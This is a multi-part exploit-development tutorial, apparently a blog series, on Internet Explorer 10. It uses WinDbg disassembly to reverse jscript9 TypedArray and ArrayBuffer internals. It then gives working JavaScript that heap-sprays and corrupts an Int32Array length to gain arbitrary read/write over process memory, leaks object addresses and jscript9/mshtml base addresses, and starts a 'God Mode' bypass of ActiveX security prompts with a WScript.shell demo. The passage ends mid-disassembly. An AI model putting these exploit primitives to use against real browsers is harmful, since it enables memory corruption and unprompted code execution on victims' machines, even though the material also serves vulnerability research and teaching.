jscript9!Js::TypedArray<int>::NewInstance:
6f79aebb 8bff            mov     edi,edi
6f79aebd 55              push    ebp
6f79aebe 8bec            mov     ebp,esp
6f79aec0 83e4f8          and     esp,0FFFFFFF8h
6f79aec3 83ec0c          sub     esp,0Ch
6f79aec6 53              push    ebx
6f79aec7 8b5d08          mov     ebx,dword ptr [ebp+8]
6f79aeca 8b4304          mov     eax,dword ptr [ebx+4]
6f79aecd 8b4004          mov     eax,dword ptr [eax+4]
6f79aed0 8b4804          mov     ecx,dword ptr [eax+4]
6f79aed3 56              push    esi
6f79aed4 57              push    edi
6f79aed5 6a00            push    0
6f79aed7 51              push    ecx
6f79aed8 8b8934020000    mov     ecx,dword ptr [ecx+234h]
6f79aede ba00040000      mov     edx,400h
6f79aee3 e8b2e7e0ff      call    jscript9!ThreadContext::ProbeStack (6f5a969a)
6f79aee8 8d4510          lea     eax,[ebp+10h]
6f79aeeb 50              push    eax
6f79aeec 8d7d0c          lea     edi,[ebp+0Ch]
6f79aeef 8d742414        lea     esi,[esp+14h]
6f79aef3 e8cb93e0ff      call    jscript9!Js::ArgumentReader::ArgumentReader (6f5a42c3)
6f79aef8 8b4304          mov     eax,dword ptr [ebx+4]
6f79aefb 8b4004          mov     eax,dword ptr [eax+4]
6f79aefe 6850bd726f      push    offset jscript9!Js::TypedArray<int>::Create (6f72bd50)
6f79af03 6a04            push    4
6f79af05 ff7004          push    dword ptr [eax+4]
6f79af08 8bc6            mov     eax,esi
6f79af0a 50              push    eax
6f79af0b e8214b0000      call    jscript9!Js::TypedArrayBase::CreateNewInstance (6f79fa31)
6f79af10 5f              pop     edi
6f79af11 5e              pop     esi
6f79af12 5b              pop     ebx
6f79af13 8be5            mov     esp,ebp
6f79af15 5d              pop     ebp
6f79af16 c3              ret

By stepping inside jscript9!Js::TypedArrayBase::CreateNewInstance we come across a call to jscript9!Js::TypedArray<int>::Create:

6f79fc16 ffb608060000    push    dword ptr [esi+608h]
6f79fc1c 57              push    edi
6f79fc1d 51              push    ecx
6f79fc1e 53              push    ebx
6f79fc1f ff5514          call    dword ptr [ebp+14h]  ss:002b:057dba9c={jscript9!Js::TypedArray<int>::Create (6f72bd50)}

If we step inside jscript9!Js::TypedArray<int>::Create, we get to a call to Alloc:

6f72bd88 8b7514          mov     esi,dword ptr [ebp+14h] ss:002b:057dba64=04b6b000
6f72bd8b 8b4e0c          mov     ecx,dword ptr [esi+0Ch]
6f72bd8e 6a24            push    24h      <----------------- 24h bytes
6f72bd90 e893b2e6ff      call    jscript9!Recycler::Alloc (6f597028)
6f72bd95 ffb61c010000    push    dword ptr [esi+11Ch]
6f72bd9b ff7510          push    dword ptr [ebp+10h]
6f72bd9e ff750c          push    dword ptr [ebp+0Ch]
6f72bda1 57              push    edi
6f72bda2 50              push    eax
6f72bda3 e898f7ffff      call    jscript9!Js::TypedArray<int>::TypedArray<int> (6f72b540)
6f72bda8 5f              pop     edi
6f72bda9 5e              pop     esi
6f72bdaa c9              leave
6f72bdab c21000          ret     10h

We can see that the TypedArray<int> object is 24h bytes. Note that the object is first allocated and then initialized by the constructor.

To print a message when an Int32Array is created, we can put a breakpoint at the end of jscript9!Js::TypedArray<int>::NewInstance, right after the call to jscript9!Js::TypedArrayBase::CreateNewInstance (see the arrow):

jscript9!Js::TypedArray<int>::NewInstance:
6f79aebb 8bff            mov     edi,edi
6f79aebd 55              push    ebp
6f79aebe 8bec            mov     ebp,esp
6f79aec0 83e4f8          and     esp,0FFFFFFF8h
6f79aec3 83ec0c          sub     esp,0Ch
6f79aec6 53              push    ebx
6f79aec7 8b5d08          mov     ebx,dword ptr [ebp+8]
6f79aeca 8b4304          mov     eax,dword ptr [ebx+4]
6f79aecd 8b4004          mov     eax,dword ptr [eax+4]
6f79aed0 8b4804          mov     ecx,dword ptr [eax+4]
6f79aed3 56              push    esi
6f79aed4 57              push    edi
6f79aed5 6a00            push    0
6f79aed7 51              push    ecx
6f79aed8 8b8934020000    mov     ecx,dword ptr [ecx+234h]
6f79aede ba00040000      mov     edx,400h
6f79aee3 e8b2e7e0ff      call    jscript9!ThreadContext::ProbeStack (6f5a969a)
6f79aee8 8d4510          lea     eax,[ebp+10h]
6f79aeeb 50              push    eax
6f79aeec 8d7d0c          lea     edi,[ebp+0Ch]
6f79aeef 8d742414        lea     esi,[esp+14h]
6f79aef3 e8cb93e0ff      call    jscript9!Js::ArgumentReader::ArgumentReader (6f5a42c3)
6f79aef8 8b4304          mov     eax,dword ptr [ebx+4]
6f79aefb 8b4004          mov     eax,dword ptr [eax+4]
6f79aefe 6850bd726f      push    offset jscript9!Js::TypedArray<int>::Create (6f72bd50)
6f79af03 6a04            push    4
6f79af05 ff7004          push    dword ptr [eax+4]
6f79af08 8bc6            mov     eax,esi
6f79af0a 50              push    eax
6f79af0b e8214b0000      call    jscript9!Js::TypedArrayBase::CreateNewInstance (6f79fa31)
6f79af10 5f              pop     edi      <---------------------- breakpoint here
6f79af11 5e              pop     esi
6f79af12 5b              pop     ebx
6f79af13 8be5            mov     esp,ebp
6f79af15 5d              pop     ebp
6f79af16 c3              ret

Here’s the breakpoint:

bp jscript9+20af10 ".printf \"new TypedArray<int>: addr = 0x%p\\n\",eax;g"

We should also take a look at jscript9!Js::JavascriptArrayBuffer::Create:

0:004> uf jscript9!Js::JavascriptArrayBuffer::Create
jscript9!Js::JavascriptArrayBuffer::Create:
6f643cbe 8bff            mov     edi,edi
6f643cc0 55              push    ebp
6f643cc1 8bec            mov     ebp,esp
6f643cc3 53              push    ebx
6f643cc4 8b5d08          mov     ebx,dword ptr [ebp+8]
6f643cc7 56              push    esi
6f643cc8 57              push    edi
6f643cc9 8bf8            mov     edi,eax
6f643ccb 8b4304          mov     eax,dword ptr [ebx+4]
6f643cce 8b4004          mov     eax,dword ptr [eax+4]
6f643cd1 8bb064040000    mov     esi,dword ptr [eax+464h]
6f643cd7 01be04410000    add     dword ptr [esi+4104h],edi
6f643cdd e85936f5ff      call    jscript9!Recycler::CollectNow<402722819> (6f59733b)
6f643ce2 6a18            push    18h     <----------- 18h bytes
6f643ce4 8bce            mov     ecx,esi
6f643ce6 e8b958f5ff      call    jscript9!Recycler::AllocFinalized (6f5995a4)
6f643ceb ff353cb1826f    push    dword ptr [jscript9!_imp__malloc (6f82b13c)]   <--------------------
6f643cf1 8bf0            mov     esi,eax
6f643cf3 8bcb            mov     ecx,ebx
6f643cf5 e863010000      call    jscript9!Js::ArrayBuffer::ArrayBuffer<void * (__cdecl*)(unsigned int)> (6f643e5d)
6f643cfa 5f              pop     edi
6f643cfb c706103d646f    mov     dword ptr [esi],offset jscript9!Js::JavascriptArrayBuffer::`vftable' (6f643d10)
6f643d01 8bc6            mov     eax,esi
6f643d03 5e              pop     esi
6f643d04 5b              pop     ebx
6f643d05 5d              pop     ebp
6f643d06 c20400          ret     4    <----------- put a breakpoint here

As you can see, an ArrayBuffer is an object of 18h bytes which is allocated through jscript9!Recycler::AllocFinalized. It’s almost certain that ArrayBuffer contains a pointer to a block of memory which contains the user data. In fact, you can see that jscript9!_imp__malloc is passed to the constructor of ArrayBuffer and we already know that the raw buffer is indeed allocated with C’s malloc.

We can now put a breakpoint at then end of the function:

bp jscript9!Js::JavascriptArrayBuffer::Create+0x48 ".printf \"new JavascriptArrayBuffer: addr = 0x%p\\n\",eax;g"

These objects are easy to analyze. Here’s what we learned:
Image may be NSFW.
Clik here to view.
pic_17

 Next Part

The post IE10: Reverse Engineering IE appeared first on Exploit Development Community.

IE10: From one-byte-write to full process space read/write

As we said before, if we can modify a single byte at an arbitrary address, we can get read/write access to the entire process address space. The trick is to modify the length field of an array (or similar data structure) so that we can read and write beyond the end of the array in normal javascript code.

We need to perform two heap sprays:

  1. LargeHeapBlocks and a raw buffer (associated with an ArrayBuffer) on the heap.
  2. Arrays and Int32Arrays allocated on IE’s custom heap.

Here’s the relevant javascript code:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

The two heap sprays are illustrated in the following picture:

Image may be NSFW.
Clik here to view.
pic_18

There are a few important things to know. The goal of the first heap spray is to put a buffer (associated with an ArrayBuffer) between LargeHeapBlocks. LargeHeapBlocks and buffers are allocated on the same heap, so if they have the same size they’re likely to be put one against the other in memory. Since a LargeHeapBlock is 0x58 bytes, the buffer must also be 0x58 bytes.

The objects of the second heap spray are allocated on a custom heap. This means that even if we wanted to we couldn’t place, say, an Array adjacent to a LargeHeapBlock.

The Int32Arrays of the second heap spray reference the ArrayBuffer buf which is associated which the raw buffer allocated in the first heap spray. In the second heap spray we allocate 0x400 chunks of 0x10000 bytes. In fact, for each chunk we allocate:

  • an Array of length 0x3bf8 ==> 0x3bf8*4 bytes + 0x20 bytes for the header = 0xf000 bytes
  • 0x55 Int32Arrays for a total of 0x30*0x55 = 0xff0.

We saw that an Int32Array is 0x24 bytes, but it’s allocated in blocks of 0x30 bytes so its effective size is 0x30 bytes.

As we were saying, a chunk contains an Array and 0x55 Int32Arrays for a total of 0xf000 + 0xff0 = 0xfff0 bytes. It turns out that Arrays are aligned in memory, so the missing 0x10 bytes are not used and each chunk is 0x10000 bytes.

The javascript code ends with

alert("Set byte at 0c0af01b to 0x20");

First of all, let’s have a look at the memory with VMMap:

Image may be NSFW.
Clik here to view.
pic_19

As you can see, 0xc0af01b is well inside our heap spray (the second one). Let’s have a look at the memory inside WinDbg. First, let’s look at the address 0xc0a0000 where we should find an Array:

Image may be NSFW.
Clik here to view.
pic_20

Note that the second heap spray is not exactly as we would expect. Let’s look at the code again:

for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }

Since in each chunk the 0x55 Int32Arrays are allocated right after the Array and the first 0x55 elements of that Array point to the newly allocated Int32Arrays, one would expect that the first element of the Array would point to the first Int32Array allocated right after the Array, but that’s not what happens. The problem is that when the second heap spray starts the memory has a bit of fragmentation so the first Arrays and Int32Arrays are probably allocated in blocks which are partially occupied by other objects.

This isn’t a major problem, though. It just means that we need to be careful with our assumptions.

Now let’s look at address 0xc0af000. There, we should find the first Int32Array of the chunk:

Image may be NSFW.
Clik here to view.
pic_21

The Int32Array points to a raw buffer at 429af28, which is associated with the ArrayBuffer buf allocated on the regular heap together with the LargeHeapBlocks. Let’s have a look at it:

Image may be NSFW.
Clik here to view.
pic_22

This picture shows a disconcerting situation. First of all, the first two LargeHeapBlocks aren’t adjacent, which is a problem because the space between them is pretty random. Second, each LargeHeapBlock points to the next block, contrarily to what we saw before (where each block pointed to the previous one).

Let’s reload the page in IE and try again:

Image may be NSFW.
Clik here to view.
pic_23

The LargeHeapBlocks point forwards, again. Let’s try another time:

Image may be NSFW.
Clik here to view.
pic_24

As you can see, this time we don’t even have the Int32Arrays at 0xca0f000. Let’s try one last time:

Image may be NSFW.
Clik here to view.
pic_25

We can conclude that the LargeHeapBlocks tend to point forwards. I suspect that the first time they pointed backwards because the LargeHeapBlocks were allocated in reverse order, i.e. going towards lower addresses.

We saw a few ways things may go wrong. How can we cope with that? I came up with the solution of reloading the page. We can perform some checks to make sure that everything is alright and, if it isn’t, we can reload the page this way:

(function() {
    .
    .
    .
    if (check fails) {
      window.location.reload();
      return;
    }
    
  })();

We need to wrap the code into a function so that we can use return to stop executing the code. This is needed because reload() is not instantaneous and something might go wrong before the page is reloaded.

As we already said, the javascript code ends with

//            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");

Look at the comments. The field array_len of the Int32Array at 0xc0af000 is initially 0x16. After we write 0x20 at 0xc0af01b, it becomes 0x20000016. If the raw buffer is at address 0x8ce0020, then we can use the Int32Array at 0xc0af000 to read and write throughout the address space [0x8ce0020, 0x8ce0020 + 0x20000016*4 – 4].

To read and write at a given address, we need to know the starting address of the raw buffer, i.e. 0x8ce0020 in the example. We know the address because we used WinDbg, but how can we determine it just with javascript?

We need to do two things:

  1. Determine the Int32Array whose array_len we modified (i.e. the one at 0xc0af000).
  2. Find buf_addr by exploiting the fact that LargeHeapBlocks point to the next blocks.

Here’s the code for the first step:

// Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }

You shouldn’t have problems understanding the code. Simply put, the modified Int32Array is the one with a length different from the original 0x58/4 = 0x16. Note that if we don’t find the Int32Array, we reload the page because something must have gone wrong.

Remember that the first element of the Array at 0xc0a0000 doesn’t necessarily points to the Int32Array at 0xc0af000, so we must check all the Int32Arrays.

It should be said that it’s not obvious that by modifying the array_len field of an Int32Array we can read/write beyond the end of the raw buffer. In fact, an Int32Array also points to an ArrayBuffer which contains the real length of the raw buffer. So, we’re just lucky that we don’t have to modify both lengths.

Now it’s time to tackle the second step:

// This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;

Remember that int32array is the modified Int32Array at 0xc0af000. We read the vftable pointers and the forward pointers of the first 3 LargeHeapBlocks. If everything is OK, the vftable pointers are of the form 0xXXXX6e18 and the forward pointers differ by 0x60, which is the size of a LargeHeapBlock plus the 8-byte allocation header. The next picture should help clarify things further:

Image may be NSFW.
Clik here to view.
pic_26

Now that buf_addr contains the starting address of the raw buffer, we can read and write everywhere in [buf_addr, buf_addr + 0x20000016*4]. To have access to the whole address space, we need to modify the Int32Array at 0xc0af000 again. Here’s how:

// Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }

Let’s look at the comments again:

//            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf

In the code above we set array_len to 0x20000000 and buf_addr to 0. Now we can read/write throughout [0, 20000000*4].

Note that the part of read() and write() that’s supposed to handle the case when address is not a multiple of 4 was never tested, because it wasn’t needed after all.

Leaking the address of an object

We need to be able to determine the address of an object in javascript. Here’s the code:

for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4);
    }

We want to find the Array at 0xc0a0000. We proceed like this:

  1. We zero out the last element of every Array (a[0x3bf7] = 0).
  2. We write 3 at 0xc0af000-4, i.e. we assign 3 to the last element of the Array at 0xc0a0000.
  3. We find the Array whose last element is not zero, i.e. the Array at 0xc0a0000 and make leakArray point to it.
  4. We define function get_addr() which:
    1. takes a reference, obj, to an object
    2. writes obj to the last element of leakArray
    3. reads obj back by using read(), which reveals the real value of the pointer

The function get_addr is very important because lets us determine the real address in memory of the objects we create in javascript. Now we can determine the base address of jscript9.dll and mshtml.dll as follows:

// At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    .
    .
    .
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

The code above is very simple. We know that at 0xc0af000 we have an Int32Array and that its first dword is the vftable pointer. Since the vftable of a TypedArray<int> is in the module jscript9.dll and is at a fixed RVA, we can easily compute the base address of jscript9 by subtracting the RVA of the vftable from its actual address.

Then we create a div element, leak its address and note that at offset 0x10 we can find a pointer to MSHTML!CBaseTypeOperations::CBaseFinalizer, which can be expressed as

mshtml + RVA = mshtml + 0x58b9a

As before, we can determine the base address of mshtml.dll with a simple subtraction.

Prev Part | Next Part

The post IE10: From one-byte-write to full process space read/write appeared first on Exploit Development Community.

IE10: God Mode (1)

When an html page tries to load and run an ActiveX object in IE, the user is alerted with a dialog box. For instance, create an html file with the following code:

<html>
<head>
<script language="javascript">
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>

If you open this file in IE, you should get the following dialog box:

Image may be NSFW.
Clik here to view.
pic_27

If we activate the so-called God Mode, IE runs the ActiveX object without asking for the user’s permission. Basically, we’ll just use our ability to read and write where we want to alter the behavior of IE.

But what’s so interesting in popping up a calculator? That’s a valid demonstration for general shellcode because it proves that we can run arbitrary code, but here we’ve just proved that we can execute any program which resides on the user’s hard disk. We’d like to execute arbitrary code, instead.

One solution is to create an .exe file containing code and data of our choosing and then execute it. But for now, let’s try to bypass the dialog box when executing the code above.

Bypassing the dialog box

The dialog box displayed when the code above is run looks like a regular Windows dialog box, so it’s likely that IE uses the Windows API to create it. Let’s search for msdn dialog box with google. The first result is this link:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms645452%28v=vs.85%29.aspx

As you can see in the following picture, there are a few functions used to create dialog boxes:

Image may be NSFW.
Clik here to view.
pic_28

By reading the Remarks section we discover that DialogBox calls CreateWindowEx:

Image may be NSFW.
Clik here to view.
pic_29

When we look at the other functions used to create dialog boxes, we find out that they also call CreateWindowEx, so we should put a breakpoint on CreateWindowEx.

First of all, we load the html page above in IE and, before allowing the blocked content (IE asks for a confirmation when you open local html files), we put a breakpoint on CreateWindowEx (both the ASCII and the Unicode version) in WinDbg:

  0:016> bp createwindowexw
  0:016> bp createwindowexa

Then, when we allow the blocked content, the breakpoint on CreateWindowExW is triggered. Here’s the stack trace:

0:007> k 20
ChildEBP RetAddr  
042bae7c 738d4467 user32!CreateWindowExW
042baebc 6eeee9fa IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64
042baefc 6efb9759 IEFRAME!SHFusionCreateWindowEx+0x47
042bb058 6efb951e IEFRAME!CBrowserFrameState::FindTabIDFromRootThreadID+0x13b
042bb0a4 6efb9409 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xe9
042bb0c4 738e8c5c IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b
042bb0e0 74e7f0c8 IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31
042bb910 74e9efe0 urlmon!CSecurityManager::DisplayMessage+0x40
042bbcb4 74dff5d4 urlmon!memset+0x120a0
042bbcf8 6e2a84dc urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f
042bbd6c 6e2a81ae MSHTML!CMarkup::ProcessURLAction2+0x31d
042bbd9c 6ecf7868 MSHTML!CMarkup::ProcessURLAction+0x3e
042bbe28 6e24d87d MSHTML!memcpy+0x120f00
042bbe6c 04d5c12d MSHTML!CDocument::HostQueryCustomPolicy+0x148
042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------
042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------
042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------
042bbfa8 04cc25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90
042bc000 04cc272e jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6
042bc194 04c95cf5 jscript9!Js::InterpreterStackFrame::Process+0x2c6d
042bc29c 034b0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
042bc2a8 04c91f60 0x34b0fe9
042bc328 04c920ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
042bc340 04c9209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
042bc388 04c92027 jscript9!ScriptSite::CallRootFunction+0x40
042bc3b0 04d3df75 jscript9!ScriptSite::Execute+0x61
042bc43c 04d3db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
042bc4c4 04d3e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
042bc518 6e37b60c jscript9!ScriptEngine::ParseScriptText+0x5b
042bc550 6e37945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42
042bc5a0 6e36b52f MSHTML!CJScript9Holder::ParseScriptText+0x58
042bc614 6e37c6a4 MSHTML!CScriptCollection::ParseScriptText+0x1f0

Three lines look particularly interesting:

042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------
042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------
042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------

Maybe the function CanObjectRun decides if the ActiveX object can run? Let’s delete the previous breakpoints and put a breakpoint on jscript9!ScriptSite::CreateActiveXObject:

bp jscript9!ScriptSite::CreateActiveXObject

When we reload the html page and allow the blocked content in IE, we break on CreateActiveXObject. Here’s the code:

jscript9!ScriptSite::CreateActiveXObject:
04eebd8b 6a18            push    18h
04eebd8d b81927eb04      mov     eax,offset jscript9!memset+0x2ac2 (04eb2719)
04eebd92 e88752f2ff      call    jscript9!_EH_epilog3_GS (04e1101e)
04eebd97 837d1000        cmp     dword ptr [ebp+10h],0
04eebd9b 8b5d08          mov     ebx,dword ptr [ebp+8]
04eebd9e 8b5b54          mov     ebx,dword ptr [ebx+54h]
04eebda1 0f8571721600    jne     jscript9!memset+0xf9c1 (05053018)
04eebda7 8bcb            mov     ecx,ebx
04eebda9 8d75e8          lea     esi,[ebp-18h]
04eebdac e8f4feffff      call    jscript9!AutoLeaveScriptPtr<IDispatch>::AutoLeaveScriptPtr<IDispatch> (04eebca5)
04eebdb1 8365fc00        and     dword ptr [ebp-4],0
04eebdb5 8365f000        and     dword ptr [ebp-10h],0 ss:002b:0446ba64=0446ba70
04eebdb9 896df0          mov     dword ptr [ebp-10h],ebp
04eebdbc 8d45dc          lea     eax,[ebp-24h]
04eebdbf 50              push    eax
04eebdc0 8b45f0          mov     eax,dword ptr [ebp-10h]
04eebdc3 8bcb            mov     ecx,ebx
04eebdc5 e87faaf9ff      call    jscript9!Js::LeaveScriptObject<1,1>::LeaveScriptObject<1,1> (04e86849)
04eebdca 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
04eebdcd 8bc6            mov     eax,esi
04eebdcf c645fc01        mov     byte ptr [ebp-4],1
04eebdd3 8b7508          mov     esi,dword ptr [ebp+8]
04eebdd6 50              push    eax
04eebdd7 ff7510          push    dword ptr [ebp+10h]
04eebdda 8bd6            mov     edx,esi
04eebddc e8ea000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04eebecb)   <---------------
04eebde1 c645fc00        mov     byte ptr [ebp-4],0
04eebde5 807de400        cmp     byte ptr [ebp-1Ch],0
04eebde9 8bf8            mov     edi,eax

If we step inside jscript9!ScriptSite::CreateObjectFromProgID we see the following code:

jscript9!ScriptSite::CreateObjectFromProgID:
04eebecb 8bff            mov     edi,edi
04eebecd 55              push    ebp
04eebece 8bec            mov     ebp,esp
04eebed0 83ec34          sub     esp,34h
04eebed3 a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]
04eebed8 33c5            xor     eax,ebp
04eebeda 8945fc          mov     dword ptr [ebp-4],eax
04eebedd 53              push    ebx
04eebede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
04eebee1 56              push    esi
04eebee2 33c0            xor     eax,eax
04eebee4 57              push    edi
04eebee5 8b7d08          mov     edi,dword ptr [ebp+8]
04eebee8 8bf2            mov     esi,edx
04eebeea 8975dc          mov     dword ptr [ebp-24h],esi
04eebeed 8945cc          mov     dword ptr [ebp-34h],eax
04eebef0 897dd0          mov     dword ptr [ebp-30h],edi
04eebef3 8945d4          mov     dword ptr [ebp-2Ch],eax
04eebef6 8945d8          mov     dword ptr [ebp-28h],eax
04eebef9 8945e8          mov     dword ptr [ebp-18h],eax
04eebefc 85ff            test    edi,edi
04eebefe 0f85e26a1600    jne     jscript9!memset+0xf390 (050529e6)
04eebf04 8b4604          mov     eax,dword ptr [esi+4]
04eebf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)
04eebf0c 85c0            test    eax,eax
04eebf0e 8d45ec          lea     eax,[ebp-14h]
04eebf11 50              push    eax
04eebf12 51              push    ecx
04eebf13 0f84d86a1600    je      jscript9!memset+0xf39b (050529f1)
04eebf19 ff1508400905    call    dword ptr [jscript9!_imp__CLSIDFromProgID (05094008)]
04eebf1f 85c0            test    eax,eax
04eebf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)
04eebf27 8d45ec          lea     eax,[ebp-14h]
04eebf2a 50              push    eax
04eebf2b 8b4604          mov     eax,dword ptr [esi+4]
04eebf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04eec315)   <-----------------------
04eebf33 85c0            test    eax,eax
04eebf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)

If we keep stepping through the code, we get to jscript9!ScriptEngine::CanCreateObject. This function also looks interesting. For now, let’s note that it returns 1 (i.e. EAX = 1) in this case. We continue to step through the code:

04eebf3b 6a05            push    5
04eebf3d 58              pop     eax
04eebf3e 85ff            test    edi,edi
